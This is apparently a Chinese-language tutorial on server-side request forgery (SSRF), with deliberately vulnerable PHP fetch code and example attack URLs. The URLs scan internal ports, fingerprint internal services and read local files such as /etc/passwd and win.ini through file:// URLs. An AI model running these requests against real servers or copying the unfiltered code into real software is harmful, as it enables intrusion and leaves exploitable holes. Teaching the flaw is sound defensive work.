SSRF

SSRF(Server-Side Request Forgery:服務端請求偽造)

由攻擊者透過服務端發出請求的一種安全弱點,通常SSRF的攻擊目標是外網無法存取的內網系統,因為攻擊是由服務端發起的,所以可以連到外網無法接觸的內網系統。
這類有弱點的網站服務主要提供與其他主機互動的功能,讓使用者指定url得到圖片或下載讀取文件等。

 

容易出現SSRF的服務

會對用戶指定的URL中的圖片文件html等做處理,並提供相關應用的服務
如果這些服務沒有對URL做過濾或隟制,就會存在SSRF弱點
ex:
網頁分享:透過URL分享網頁內容
轉碼服務:透過URL把原位置的網頁內容優化調整成適合手機觀看
線上翻譯:翻譯URL指定的位置
圖片下載:透過URL位置下載圖片
圖片文章收藏功能:透過URL分享收藏图片和文章
其他會呼叫URL的功能

 


利用SSRF攻擊範例

假設正常功能如下
http://testweb/test.php 取得用戶提供的URL,並把URL的內容顯示到網頁上,
原碼如下

if (isset($_GET['url']))
{
  $link = $_GET['url'];
  $curlobj = curl_init();
  curl_setopt($curlobj, CURLOPT_POST, 0);
  curl_setopt($curlobj,CURLOPT_URL,$link);
  curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
  $result=curl_exec($curlobj);
  curl_close($curlobj);
  $filename = '/curled/'.rand().'.txt';
  file_put_contents($filename, $result);
  echo $result;
}
?>

正常使用方法
http://testweb/test.php?url=www.google.com
用戶在URL輸入www.google.com,用戶頁面會輸出google的畫面

攻擊方法1,掃描內網埠

http://testweb/test.php?url=http://landb:22
http://testweb/test.php?url=http://landb:25
http://testweb/test.php?url=http://landb:3306
根據回應的banner訊息,錯誤資訊,回應時間,封包大小判斷該埠是否有開放

攻擊方法2,對內網WEB應用做fingerprint

判斷是否有phpMyAdmin
http://testweb/test.php?url=http://lanserver/phpMyAdmin/themes/original/img/b_tblimport.png
判斷是否為Dlink設備
http://testweb/test.php?url=http://lanserver/portName.js
判斷是否為Tomcat
http://testweb/test.php?url=http://lanserver:8080/manager/images/tomcat.gif

攻擊方法3,讀取本地檔案

將URL換成file://的形式讀取本地檔案
讀取win.ini
http://testweb/test.php?url=file:///C:/Windows/win.ini
讀取passwd
http://testweb/test.php?url=file:///etc/passwd

 


其他可能出問題的代碼範例

使用file_get_contents函數,從用戶指定的URL取得並保留圖片,然後顯示給用戶

if (isset($_POST['url']))
{
  $content = file_get_contents($_POST['url']);
  $filename ='/images/'.rand().'.jpg';
  file_put_contents($filename, $content);
  echo $_POST['url'];
  $img = '< img src=".$filename."/>';
}
echo $img;
?>

使用fsockopen函數取得用戶指定的URL內容,並將得到的數據顯示出來

$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
  echo "$errstr (error number $errno) n";
} else {
  $out = "GET $link HTTP/1.1rn";
  $out .= "Host: $hostrn";
  $out .= "Connection: Closernrn";
  $out .= "rn";
  fwrite($fp, $out);
  $contents='';
  while (!feof($fp))$contents.= fgets($fp, 1024);
  fclose($fp);
  echo $contents;
}
?>

 

refer
https://wizardforcel.gitbooks.io/mst-sec-lecture-notes/content/%E6%BC%8F%E6%B4%9E%E7%AF%87%20SSRF.html
https://www.freebuf.com/articles/web/20407.html
https://blog.csdn.net/lionzl/article/details/100570193?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param